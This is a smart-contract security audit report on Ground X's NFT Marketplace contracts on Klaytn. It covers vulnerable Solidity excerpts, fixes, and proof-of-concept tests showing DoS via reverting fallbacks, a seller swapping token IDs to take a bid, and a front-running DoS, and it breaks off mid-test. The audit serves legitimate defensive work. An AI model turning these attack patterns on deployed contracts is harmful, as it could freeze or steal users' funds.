HAECHI AUDIT

Ground X - NFT Marketplace

Smart Contract Security Analysis

Published on : 13 Jan. 2023

Version v1.1

HAECHI AUDIT

Smart Contract Audit Certificate

Ground X - NFT Marketplace

Security Report Published by HAECHI AUDIT

13 Jan. 2023 v1.1

Auditor : Allen Roh, Andy Koo

Found issues

Severity of Issues	Findings	Resolved	Acknowledged	Comment
Critical	4	4	-	-
High	4	4	-	-
Medium	-	-	-	-
Low	1	1	-	-
Tips	3	2	-	1

TABLE OF CONTENTS

ABOUT US

The most reliable web3 security partner.

HAECHI AUDIT is a flagship service of HAECHI LABS, the leader of the global blockchain industry. We bring together the best Web2 and Web3 experts. Security Researchers with expertise in cryptography, leaders of the global best hacker team, and blockchain/smart contract experts are responsible for securing your Web3 service.

We have secured the most well-known web3 services including 1inch, SushiSwap, Klaytn, Badger DAO, SuperRare, Netmarble, Klaytn and Chainsafe. We have secured $60B crypto assets on over 400 main-nets, Defi protocols, NFT services, P2E, and Bridges.

HAECHI AUDIT is the only blockchain technology company selected for the Samsung Electronics Startup Incubation Program in recognition of our expertise. We have also received technology grants from the Ethereum Foundation and Ethereum Community Fund.

Inquiries: audit@haechi.io

Website: audit.haechi.io

Executive Summary

Purpose of this report

This report was prepared to audit the security of the NFT Marketplace contracts developed by the Ground X team. HAECHI AUDIT conducted the audit focusing on whether the system created by the Ground X team is soundly implemented and designed as specified in the published materials, in addition to the safety and security of the NFT Marketplace.
In detail, we have focused on the following

- Adequate implementation of EIP and KIP specs.
- Unintended KLAY transfer in the process of sale and price suggestion.
- Denial of Service leading to freeze of assets.
- Fraudulent seller or buyer's capability to steal assets.
- Appropriate access control on the crucial configurations.
- Existence of well-known smart contract vulnerabilities.

Codebase Submitted for the Audit

The codes used in this Audit can be found on GitHub (https://github.com/ground-x/kas-nft-marketplace-api/tree/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace).

The last commit of the code used for this Audit is "0de4ea541d7393f0bcc0c156e3471210ef4c5cb7".

The last commit that fixed issues is "9a02c5e4bb6f7e7ec40df0301c82c13c4997b11c".

Audit Timeline

Date	Event
2022/12/12	Audit Initiation (NFT Marketplace)
2023/01/06	Delivery of v1.0 report.
2023/01/13	Delivery of v1.1 report.

Findings

HAECHI AUDIT found 4 Critical, 4 High, and 1 Low severity issues. There are 3 Tips issues explained that would improve the code's usability or efficiency upon modification.

We have verified that all issues have been fixed or acknowledged by the team.

#ID	Title	Type	Severity	Difficulty	Status
1	Malicious suggester may launch a DoS via throwing on call	Denial of Service	High	Medium	Fixed
2	Sellers can delude the suggesters by modifying token IDs.	Logic Error	Critical	Low	Fixed
3	Incorrect parameter used on setContract event emission.	Informational	Tips	N/A	Fixed
4	The structure hashing is not based on the EIP-712.	Off-standard	High	High	Fixed
5	Validation of commission ratio is weak.	Informational	Tips	N/A	Fixed
6	Incorrect array variable deletion on the Marketplace contract.	Logic Error	Low	Low	Fixed
7	Malicious users can launch a DoS attack using the public deployIfNotExist function.	Denial of Service	High	Low	Fixed
8	Reentrancy on the buySale function leads to asset theft.	Reentrancy	Critical	Low	Fixed
9	cancelPutOnSale function may cause unintended behavior.	Informational	Tips	N/A	Commented

10	No KLAY transfer when the SaleForEOA contract uses the KIP17 contract rather than the KIP17Marketplace contract.	Logic Error	**Critical**	**Low**	**Fixed**
11	Free purchase of KIP17 token is possible when the SALE_MAX_TIME is set to 0 and cancelPutOnSale is called.	Logic Error	**Critical**	**Medium**	**Fixed**
12	A suggester cannot cancel the suggestion if the token owner has been changed.	Denial of Service	**High**	**Low**	**Fixed**

Remarks

The end user can communicate with the relevant contracts using the Klaytn API Service(KAS).

The implementation of the KAS is not included in the audit scope.

An unintended behavior or security risk of the NFT Marketplace that rooted from the KAS's implementation is out of scope and therefore not assured by the auditor.

OVERVIEW

Protocol overview

▪ **KIP17Marketplace**

The `KIP17Marketplace` contract is an implementation of KIP17(NFT) spec with some extended features. A signer is set to the contract and it can sign the minting requests. A user can request the minting of a NFT with specified token IDs and URIs by providing the signer's signature. A NFT burn sends the token to the 0xdead address, making the token ID unusable. Furthermore, the admin can set the commission contract address such that KLAY payments using the `KIP17Marketplace` contract allocate fees to the commission receivers.

▪ **Sales and SalesForEOA**

Every seller who places their NFT on the market for sale receives a `SalesForEOA` account. These accounts act as middlemen between the seller and buyer (or suggester) in order to smooth out the NFT exchange process. Sellers can place prices on their NFTs and also cancel the put-ons. Suggesters can bid prices on the NFTs, and the seller can accept or reject the price.

The `Sales` contract is in charge of routing for certain `KIP17Marketplace` contracts. This contract stores the seller's `SalesForEOA` account addresses so that end users can easily interact with the seller's account. In addition, the `Sales` contract does basic `msg.sender` checks.

▪ **Product**

Token IDs placed on the `SalesForEOA` contract are assigned a Product contract.
This contract maintains the token IDs, as well as the price and timestamp specified by the seller. If a price is suggested, this account keeps track of the top three highest bids and their info.

▪ **Commission**

The project administrator can specify the commission receivers and ratios on the `Commission` contract. When an NFT transfer with KLAY payments (`mintAndTransfer`, `transferFromAndPay`) occurs, the commission is levied.

Scope

kas-nft-marketplace-api/fixtures/contractsource/marketplace/

```
├── Commission.sol
├── ICommission.sol
├── IKIP17Marketplace.sol
├── IMarketplace.sol
├── IPrice.sol
├── IProduct.sol
├── ISale.sol
├── KIP17Marketplace.sol
├── KIP17MarketplaceCopy.sol
├── KLAYPrice.sol
├── Marketplace.sol
├── Product.sol
├── Sale.sol
└── SalesForEOA.sol
```

Access Controls

The NFT Marketplace contracts have the following major access control mechanisms.

- onlyAdmin()
- onlyOwner()
- onlyCaller()
- onlyMinter()

onlyAdmin() : A modifier that controls access to variables including Sales and KIP17 contract addresses, and settings of a logic contract of SalesForEOA and Product addresses. Furthermore, able to set the commission rate and KLAY price. It also controls the proxy upgrade functionality.

- Commission#_authorizeUpgrade()
- Commission#setAdmin()
- Commission#setViewer()
- Commission#setPrice()
- Commission#setCommission()
- Commission#setCommissionAt()
- KIP17Marketplace#_authorizeUpgrade()
- KIP17Marketplace#setAdmin()
- KIP17Marketplace#setSigner()
- KIP17Marketplace#addMinter()
- KIP17Marketplace#renounceMinter()
- KIP17Marketplace#addPauser()
- KIP17Marketplace#renouncePauser()
- KIP17Marketplace#setMarketplace()
- KIP17Marketplace#setSale()
- KIP17Marketplace#setCommission()
- KLAYPrice#_authorizeUpgrade()
- KLAYPrice#setAdmin()
- KLAYPrice#setKind()
- KLAYPrice#setPrice()
- KLAYPrice#setPriceAt()
- Marketplace#_authorizeUpgrade()
- Marketplace#setAdmin()
- Marketplace#setCommission()
- Marketplace#deleteCommission()
- Marketplace#addKIP17AndSale()
- Marketplace#deleteKIP17AndSale()
- Product#_authorizeUpgrade()
- Product#setAdmin()
- Sale#_authorizeUpgrade()

- Sale#setAdmin()
- Sale#addPauser()
- Sale#renouncePauser()
- Sale#setMarketplace()
- Sale#setKip17()
- Sale#setMaxTime()
- Sale#deleteAllSuggestsAndGiveBackMoney()
- Sale#deleteSuggestAndGiveBackMoney()
- SalesForEOA#_authorizeUpgrade()

onlyOwner() : A modifier that restricts access to variables of a seller-specific contract. The owner has the ability to configure the addresses that communicate with the seller's SalesForEOA or Product contracts.

- SalesForEOA#setKip17()
- SalesForEOA#setContractCaller()
- SalesForEOA#setOwner()
- Product#setContractCaller()
- Product#setOwner()
- Product#setTokenIds()

onlyCaller() : A modifier that limits the caller of a specific function. The caller may be changed by the owner of the contract.

- SalesForEOA#setMaxTime()
- SalesForEOA#putOnSale()
- SalesForEOA#cancelPutOnSale()
- SalesForEOA#buySale()
- SalesForEOA#suggestPrice()
- SalesForEOA#cancelSuggest()
- SalesForEOA#declineSuggest()
- SalesForEOA#declineAllSuggests()
- SalesForEOA#acceptSuggest()
- SalesForEOA#deleteAllData()
- Product#setSalePrice()
- Product#deleteSale()
- Product#newSuggest()
- Product#acceptSuggest()
- Product#deleteSuggest()
- Product#deleteAllSuggests()

onlyMinter() : A modifier that controls access to mint-related functions. The minter is able to mint NFTs without the signature of the signer.

- KIP17Marketplace#mint()
- KIP17Marketplace#mintWithTokenURI()

onlyPauser() : A modifier that checks whether the caller is able to call the pause or unpause function. If the contract is paused, the functions that execute the business logic are not callable.

- KIP17Marketplace#pause()
- KIP17Marketplace#unpause()
- Sale#pause()
- Sale#unpause()

onlyAdminOrMarketplace() : A modifier that only enables the caller who is the administrator or the `Marketplace` contract to the configuration functions. The administrator can call the configuration functions of the `KIP17Marketplace` and the `Sale` contract directly or through the `Marketplace` contract.

- KIP17Marketplace#setSale()
- KIP17Marketplace#setCommission()
- Sale#setKip17()

The Admin role has permissions that can change the crucial part of the system.
It is highly recommended to maintain the private key as securely as possible and strictly monitor the system state changes and how the admin interacts with the smart contracts.

FINDINGS

1. Malicious suggester may launch a DoS via throwing on call

ID: GRNDX-01	Severity: High
Type: Denial of Service	Difficulty: Medium
File: SalesForEOA.sol	

Issue

A malicious suggester may launch a DoS attack by leveraging the refund logic of the `SalesForEOA` contract, preventing the seller and buyer from selling or purchasing the product (KIP17 Token), or declining all the suggestions.

A full refund of all bids happens in the following cases:

- The buyer purchases the product at the seller's price.
- The seller accepts the suggested price.
- The seller declines or deletes all suggested prices.

```
    function transferKLAY(uint suggestNum, address[3] memory receivers, uint[3] memory
price) private {
    for (uint i = 0; i < suggestNum; i++) {
        (bool sent,) = receivers[i].call{value: price[i]}("");
        require(sent, "SalesForEOA: Failed to send KLAY");
    }
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/SalesForEOA.sol#L191]

A malicious suggester may implement a contract that reverts on a receive/fallback function and then bids with the contract address, which leads to making the features listed above unavailable.

This attack can also apply to commission payment, as all payments to multiple commission receivers happen in the same transaction. In this case, one commission receiver has to give up their profits in order to stop others from getting a profit.

Proof of Concept

The PoC shows that the `acceptSuggest`, `declineAllSuggests`, and `buySale` functions fail by implementing a contract that reverts on the receive function.

```
    receive() external payable {
        revert("Malicious suggester DoS!");
    }

    function test_dos_suggester() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 10);

        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds, 3e18);
        vm.stopPrank();

        vm.deal(address(this), 2e18);
        sales[0].suggestPrice{value: 2e18}(address(this), tokenIds);

        vm.deal(user2, 25e17);
        vm.prank(user2);
        sales[0].suggestPrice{value: 25e17}(user2, tokenIds);

        // should not be reverted
        vm.startPrank(user1);
        vm.expectRevert("SalesForEOA: Failed to send KLAY");
        sales[0].acceptSuggest(user1, tokenIds, 25e17, user2);

        // should not be reverted
        vm.expectRevert("SalesForEOA: Failed to send KLAY");
        sales[0].declineAllSuggests(user1, tokenIds);
        vm.stopPrank();

        // should not be reverted
        vm.deal(user2, 3e18);
        vm.startPrank(user2);
        vm.expectRevert("SalesForEOA: Failed to send KLAY");
        sales[0].buySale{value: 3e18}(user2, tokenIds);
        vm.stopPrank();
    }
```

[The PoC of DoS attack using a malicious fallback function]

Recommendation

There are two options for resolving the problem. The offered solutions should be considered and adopted at the project's consideration.

- Make use of the Wrapped KLAY. The direct calls to transfer tokens can be substituted by WKLAY's transfer function, which removes such DoS vectors.
- Store the current refund amount per suggesters on a separate storage and create a function that a suggester can call to withdraw the refund amount. Removing logic that involves direct calls to multiple suggesters in the same transaction reduces the likelihood of a malicious fallback function.

Fix Comment

[Fixed] The issue has been resolved by adding the code size check of the account to receive KLAY. This mitigation prevents malicious suggesters from reverting on Klay transfer.
To conduct a DoS attack, the malicious suggester should not be a contract account when the code size is checked and then constructed after the check. This is not a viable scenario.

```
        if (! Address.isContract(receivers[i])) {
             (bool sent,) = receivers[i].call{value: price[i]}("");
             require(sent, "SalesForEOA: Failed to send KLAY");
         }
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/cb8863d09c5b019c7a77a6896a9e5111fd00ede6]

2. Sellers can delude the suggesters by modifying token IDs.

ID: GRNDX-02	Severity: Critical
Type: Logic Error	Difficulty: Low
File: Product.sol	

Issue

By executing the `Product` contract's `setTokenIds` function, a malicious seller can manipulate the token IDs put on the `SalesForEOA` contract. As a result, the seller can accept a suggestion which a suggester made before the token IDs were modified - and transfer less quantity of KIP17 tokens or different KIP17 tokens to the suggester.

On the `SalesForEOA` contract, a seller puts the token IDs and the price to sell the tokens. The suggesters can offer price suggestions for the batch of token IDs. If the seller accepts the price, the `acceptSuggest` function is called, and the batch of tokens is transferred to the suggester. The token IDs are stored on the `Product` contract that corresponds to the batch of token IDs.

```
function setTokenIds(uint[] memory newTokenIds) external virtual onlyProxy onlyOwner {
        tokenIds = newTokenIds;
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/Product.sol#L109]

The issue is that the seller can use the `setTokenIds` function in this `Product` contract to change the token IDs. Because the `Product` contract's token IDs can be modified, a malicious seller can call this function before accepting a suggestion, allowing the seller to transfer an arbitrary token to the suggester and receive the suggester's price.

In a similar fashion, the seller can delude the suggester via `setKIP17` function as well.

Proof of Concept

The PoC shows that the suggester suggests the price on the token IDs 1, 2, 3. However, the seller transfers only token ID 1 and receives all the suggested price.

```
    function test_con_seller() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 10);

        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds, 3e18);
        vm.stopPrank();

        vm.deal(user2, 2e18);
        vm.prank(user2);
        sales[0].suggestPrice{value: 2e18}(user2, tokenIds);

        uint256[] memory acceptTokenIds = new uint256[](1);
        acceptTokenIds[0] = 1;

        address user1Sales = sales[0].findSaleAddressByOwner(user1);
        address product123 = SalesForEOA(user1Sales).deployIfNotExists(user1, tokenIds);

        vm.startPrank(user1);
        Product(product123).setTokenIds(acceptTokenIds);
        sales[0].acceptSuggest(user1, acceptTokenIds, 2e18, user2);
        vm.stopPrank();

        console.log(kip17s[0].balanceOf(user2));
        console.log(user2.balance);
        console.log(user1.balance);
        console.log(user1Sales.balance);
        console.log(commissionReceiver.balance);
        console.log(kip17s[0].balanceOf(user1));
        console.log(kip17s[0].balanceOf(user2));
    }
```

[The PoC of malicious seller]

Recommendation

The `setTokenIds` function of `Product.sol` contract has no use cases on the project. Removing this function can resolve this issue. Add proper access controls to `setKIP17` function.

Fix Comment

[Fixed] The `setTokenIds` function of the `Product` contract is removed. As a seller cannot modify the token IDs of the `Product` account, the seller cannot make an NFT sale that is not coherent suggester's bid information.

```
---    function setTokenIds(uint[] memory newTokenIds) external virtual onlyProxy
onlyOwner {
---        tokenIds = newTokenIds;
---    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/b57e5e6b78a3f006dd7d2e4802e7b598c1a30591]

3. Incorrect parameter used on setContract event emission.

ID: GRNDX-03	Severity: Tips
Type: Informational	Difficulty: N/A
File: Sale.sol , KIP17Marketplace.sol	

Issue

The `setContract` event is emitted when a new contract address is set on the contract and the second parameter of the event should be the new contract address.

The `__KIP17Marketplace_init` function of `KIP17Marketplace.sol` and `__Sale_init` function of `Sale.sol` contract emits the `setContract`, however, the second parameter of the event is set to `_msgSender()` address, which is incorrect.

```
function __Sale_init(address newSalesForEOALogicContract, address
newProductLogicContract, address marketplaceAddress) external initializer onlyProxy  {
        require(Address.isContract(newSalesForEOALogicContract), "Sale: given
salesForEOALogicContract address is not a contract");
        require(Address.isContract(newProductLogicContract), "Sale: given
productLogicContract address is not a contract");
        require(Address.isContract(marketplaceAddress), "Sale: marketplace address
address is not a contract");

        emit RoleGranted(ADMIN_ROLE, _msgSender(), _msgSender());
        emit RoleGranted(PAUSER_ROLE, _msgSender(), _msgSender());
        emit SetContract("Marketplace", _msgSender(), _msgSender());

        admin = _msgSender();
        pauser = _msgSender();
        salesForEOALogicContract = newSalesForEOALogicContract;
        productLogicContract = newProductLogicContract;
        marketplace = marketplaceAddress;
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/Sale.sol#L60]

```
function __KIP17Marketplace_init(string memory name_, string memory symbol_, address
marketplaceAddress) external initializer onlyProxy  {
        require(Address.isContract(marketplaceAddress), "KIP17Marketplace: marketplace
address address is not a contract");

        // run constructor of KIP17
        __KIP17_init(name_, symbol_);
```

```
        emit RoleGranted(ADMIN_ROLE, _msgSender(), _msgSender());
        emit RoleGranted(PAUSER_ROLE, _msgSender(), _msgSender());
        emit RoleGranted(MINTER_ROLE, _msgSender(), _msgSender());
        emit RoleGranted(SIGNER_ROLE, _msgSender(), _msgSender());
        emit SetContract("Marketplace", _msgSender(), _msgSender());

        admin = _msgSender();
        pauser = _msgSender();
        minter = _msgSender();
        signer = _msgSender();
        marketplace = marketplaceAddress;
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/KIP17Marketplace.sol#L75]

Recommendation

Modify the second parameter of the `setContract` to the new contract address. It is recommended that the developer team double-check the overall event emissions.

Fix Comment

[Fixed1] [Fixed2] The issue has been resolved by replacing the second parameter with the contract address.

```
function __Sale_init(address newSalesForEOALogicContract, address
newProductLogicContract, address marketplaceAddress) external initializer onlyProxy  {
    require(Address.isContract(newSalesForEOALogicContract), "Sale: given
salesForEOALogicContract address is not a contract");
    require(Address.isContract(newProductLogicContract), "Sale: given
productLogicContract address is not a contract");
    require(Address.isContract(marketplaceAddress), "Sale: marketplace address address
is not a contract");

    emit RoleGranted(ADMIN_ROLE, _msgSender(), _msgSender());
    emit RoleGranted(PAUSER_ROLE, _msgSender(), _msgSender());
    emit SetContract("Marketplace", marketplaceAddress, _msgSender());

    admin = _msgSender();
    pauser = _msgSender();
    salesForEOALogicContract = newSalesForEOALogicContract;
    productLogicContract = newProductLogicContract;
    marketplace = marketplaceAddress;
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/7507899772d39c80d6bf6468a1ca78816a0f4ec2]

```
function __KIP17Marketplace_init(string memory name_, string memory symbol_, address
marketplaceAddress) external initializer onlyProxy  {
    require(Address.isContract(marketplaceAddress), "KIP17Marketplace: marketplace
address address is not a contract");

    // run constructor of KIP17
    _name = name_;
    _symbol = symbol_;

    emit RoleGranted(ADMIN_ROLE, _msgSender(), _msgSender());
    emit RoleGranted(PAUSER_ROLE, _msgSender(), _msgSender());
    emit RoleGranted(MINTER_ROLE, _msgSender(), _msgSender());
    emit RoleGranted(SIGNER_ROLE, _msgSender(), _msgSender());
    emit SetContract("Marketplace", marketplaceAddress, _msgSender());

    admin = _msgSender();
    pauser = _msgSender();
    minter = _msgSender();
    signer = _msgSender();
    marketplace = marketplaceAddress;
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/bb39c322e32c2947d2b7962820882697cf63a515]

4. The structure hashing is not based on the EIP-712.

ID: GRNDX-04	Severity: High
Type: Off-standard	Difficulty: High
File: KIP17Marketplace.sol	

Issue

The signature used on the `mintAndTransfer` function does not follow the EIP-712 standard.

To execute the `mintAndTransfer` function on the `KIP17Marketplace` contract, the caller needs to provide a signature of a hash of parameters signed by the signer of the contract. The hashed data consist of the following parameters.

- The address of the `KIP17Marketplace` contract
- The string of function name
- The address of from account
- The address of to account
- An array of token Ids
- An array of token URIs
- msg.value

The hash is not based on the EIP-712 and may be susceptible to a replay attack on the other chain.

```
    function mintAndTransfer(
        address payable from,
        address to,
        uint256[] memory tokenIds,
        string[] memory tokenURIs,
        bytes memory signature
    ) external virtual onlyProxy payable {
        require(tokenIds.length > 0, "KIP17Marketplace: no tokenId is given");
        require(tokenIds.length <= 100, "KIP17Marketplace: length of tokenIds should be
smaller than 100");
        require(tokenIds.length == tokenURIs.length, "KIP17Marketplace: the length of
tokenIds and tokenURIs should be same");
        require(to == _msgSender(), "KIP17Marketplace: to account should call this
function");

        _validateSignature(
            signature,
```

```
            abi.encode(address(this), "mintAndTransfer", from, to, tokenIds, tokenURIs,
msg.value)
        );

        emit MintAndTransfer(from, to, tokenIds, tokenURIs, msg.value);

        for (uint i = 0; i < tokenIds.length; i++) {
            uint256 tokenId = tokenIds[i];
            string memory _tokenURI = tokenURIs[i];
            _mint(from, tokenId);
            _setTokenURI(tokenId, _tokenURI);
            _transfer(from, to, tokenId);
        }

        payWithCommission(msg.value, from, block.timestamp);
    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/KIP17Marketplace.sol#L267]

Recommendation

To hash the relevant data structure, utilize EIP712. At a minimum, the `chainId` should be included.

Fix Comment

[Fixed] Though EIP-712 is not used in the signature scheme, `block.chainId` is added to the hashing structure to reduce the possibility of a reply attack on the other chain.

```
        _validateSignature(
            signature,
            abi.encode(address(this), "mintAndTransfer", block.chainid, from, to,
tokenIds, tokenURIs, msg.value)
        );
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/ee121f561ee356beaa7b387ee448fcdc3db7466e]

5. Validation of commission ratio is weak.

ID: GRNDX-05	Severity: Tips
Type: Informational	Difficulty: N/A
File: Commission.sol	

Issue

The `setCommission` and `setCommissionAt` functions of `Commission.sol` contract checks whether the `ratios(uint256[][])` parameter is less than 1e18(100%) or not. However, this validation does not guarantee that the sum of each ratio is less than 1e18.

```
            for (uint j = 0; j < ratios[i].length; j++) {
                require(ratios[i][j] <= 10 ** 18, "the value of ratio should be smaller
than 10 ^ 18");
            }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/Commission.sol#L122 and #L143]

We also noted that the `setCommissionAt` function does not include some input validation done in `setCommission`, such as whether the timestamp increases, or whether the lengths of arrays match. As these functions are mostly admin-only, it's up to the admin to validate their calls.

Recommendation

Check that the sum of each ratio is no more than 1e18.

Fix Comment

[Fixed] We confirmed the patched code that the sum of each ratio is checked to be less than or equal to 1e18.

```
       for (uint j = 0; j < ratios[i].length; j++) {
            require(ratios[i][j] <= 10 ** 18, "the value of ratio should be smaller than
10 ^ 18");
            sum += ratios[i][j];
        }
        require(sum <=  10 ** 18, string.concat("Commission: the sum of the ratio should
be smaller than 10 ^ 18 at index ", Strings.toString(sum)));
```

[https://github.com/ground-x/kas-nft-marketplace-api/pull/102/commits/30262d53942579776be5da96b88a100f7c8027d1]

6. Incorrect array variable deletion on the Marketplace contract.

ID: GRNDX-06
Type: Logic Error
File: Marketplace.sol

Severity: Low
Difficulty: Low

Issue

The admin of the `Marketplace` contract may be unable to add KIP17 and Sales contract addresses to the storage variables of the `Marketplace` contract because the length value of the array has not been updated correctly upon deletion.

```
  function deleteKIP17AndSale(address kip17, address sale) external virtual onlyProxy
onlyAdmin {
    require(kip17 != address(0x0), "Marketplace: cannot delete empty address in
kip17s");
    require(sale != address(0x0), "Marketplace: cannot delete empty address in sales");

    emit SetContract("KIP17", address(0x0), msg.sender);
    emit SetContract("Sale", address(0x0), msg.sender);

    // delete in marketplace
    for (uint i = 0; i < kip17s.length; i++) {
      // find
      if (address(kip17s[i]) == kip17) {
        require(address(sales[i]) == sale, "Marketplace: KIP17 and Sale contract is not
on the same index");

        // delete
        kip17s[i] = kip17s[kip17s.length - 1];
        delete kip17s[kip17s.length - 1];

        sales[i] = sales[sales.length - 1];
        delete sales[sales.length - 1];

        return;
      }
    }

    require(false, "Marketplace: unable to find the given KIP17 address in
marketplace");
  }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/Marketplace.sol#L141]

The `kip17s` and `sales` array variables store the list of `KIP17Marketplace` and `Sales` contract address which is added by the contract admin. The admin is also capable of removing the element of the array by calling the `deleteKIP17AndSale` function. The `deleteKIP17AndSale` function

sets the element of the target address's index to the last element and removes the last element using `delete` syntax. However, the `delete` syntax does not update the length of the array. This means that after the deletion of the last element of the array, the array's length is still the same as before. This may result in the addition of `kip17s` and `sales` addresses to the array variables failing, even if the admin removes some `kip17s` and `sales`, as the array length reaches 100.

Proof of Concept

The PoC shows that the addition of the relevant addresses is reverted after the length of the array variable reached 100, even after removing one `kip17` and `sales` to make the actual number of `kip17s` and `sales` 99. This shows that adding further KIP17s would be impossible.

```
function test_array_length() public {
        for(uint i = 0 ; i < 100 ; i++) {
            kip17s.push(deploy_kip17Marketplace("KIP17Marketplace1", "KIP17M1",
address(marketplace)));
            sales.push(deploy_sale(address(marketplace)));
        }
        for(uint i = 0 ; i < 100 ; i++) {
            add_to_marketplace(address(marketplace), address(kip17s[i]),
address(sales[i]), true);
        }
        remove_from_marketplace(address(marketplace), address(kip17s[99]),
address(sales[99])); // remove one here
        vm.expectRevert("Marketplace: cannot add more than 100 contracts");
        add_to_marketplace(address(marketplace), address(kip17s[100]),
address(sales[100]), true);
}
```

[The PoC of incorrect array update]

Recommendation

Using pop instead of `delete` syntax can update the array's length value correctly.

Fix Comment

[Fixed] This issue is resolved by replacing the delete syntax with pop syntax.

```
  function deleteKIP17AndSale(address kip17, address sale) external virtual onlyProxy
onlyAdmin {
    require(kip17 != address(0x0), "Marketplace: cannot delete empty address in
kip17s");
    require(sale != address(0x0), "Marketplace: cannot delete empty address in sales");

    emit SetContract("KIP17", address(0x0), msg.sender);
    emit SetContract("Sale", address(0x0), msg.sender);

    // delete in marketplace
    for (uint i = 0; i < kip17s.length; i++) {
      // find
      if (address(kip17s[i]) == kip17) {
        require(address(sales[i]) == sale, "Marketplace: KIP17 and Sale contract is not
on the same index");

        // delete
        kip17s[i] = kip17s[kip17s.length - 1];
        kip17s.pop();

        sales[i] = sales[sales.length - 1];
        sales.pop();

        return;
      }
    }

    require(false, "Marketplace: unable to find the given KIP17 address in
marketplace");
  }
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/a1e827dc2dc4aac66cf2951b1613224373b5d6df]

7. Malicious users can launch a DoS attack using the public deployIfNotExist function.

ID: GRNDX-07	Severity: High
Type: Denial of Service	Difficulty: Low
File: SalesForEOA.sol	

Issue

The `deployIfNotExist` function of the `SalesForEOA` contract is callable by any user. Using this, a user can reallocate the `Product` address of the token IDs which results in a DoS attack.

```
function deployIfNotExists(address, uint[] memory tokenIds) public virtual override
returns (address) {
        // deploy contract if not exists
        if (address(products[tokenIds[0]]) == address(0)) {
            IProduct product = IProduct(deployProduct(tokenIds));

            // set the same contract address to all tokenIds
            for (uint i = 0; i < tokenIds.length; i++) {
                products[tokenIds[i]] = product;
            }

            return address(product);
        }

        return address(products[tokenIds[0]]);
    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/SalesForEOA.sol#L162]

The `deployIfNotExist` function is used to create and assign a `Product` address to the token IDs. The Product address of the first token ID is assigned to other token IDs specified as a parameter. In other words, the Product address of the first token ID becomes the Product address of all the other token IDs. Using this, it is possible to overwrite the product array even if there are active bids placed on certain products. Because the `deployIfNotExist` function is public, a malicious user can do it as well. This may lead to functions such as the `cancelSuggest` or `buySale` function calls failing. This may also block suggesters from receiving their refund.

Proof of Concept

This PoC shows that the malicious user can make a DoS attack so that a benign user cannot purchase the product via front-running with the `deployIfNotExist` function.

Here, the frontrunner modifies the product array, so that the buyer's `buySale` call fails due to the `ifTokensOnSameSale` modifier's input validation.

```
function test_deployIfNotExist_DoS() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 10);

        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds, 1e18);
        vm.stopPrank();

        uint256[] memory tokenIdsDoS = new uint256[](2);
        tokenIdsDoS[0] = 4;
        tokenIdsDoS[1] = 1;

        vm.startPrank(user3);
        address saleLocation = sales[0].findSaleAddressByOwner(user1);
        Sale(saleLocation).deployIfNotExists(address(0), tokenIdsDoS);
        vm.stopPrank();

        vm.deal(user2, 1e18);
        vm.prank(user2);
        vm.expectRevert("SalesForEOA: tokenIds list does not match with previous Sale");
        sales[0].buySale{value: 1e18}(user2, tokenIds);
    }
```

[The PoC of DoS attack using public deployIfNotExist function]

Furthermore, a malicious user can rearrange the product array such that benign suggesters cannot cancel their bid due to the product contract not existing in the product array anymore.

```
function test_deployIfNotExist_BidLock_DoS() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
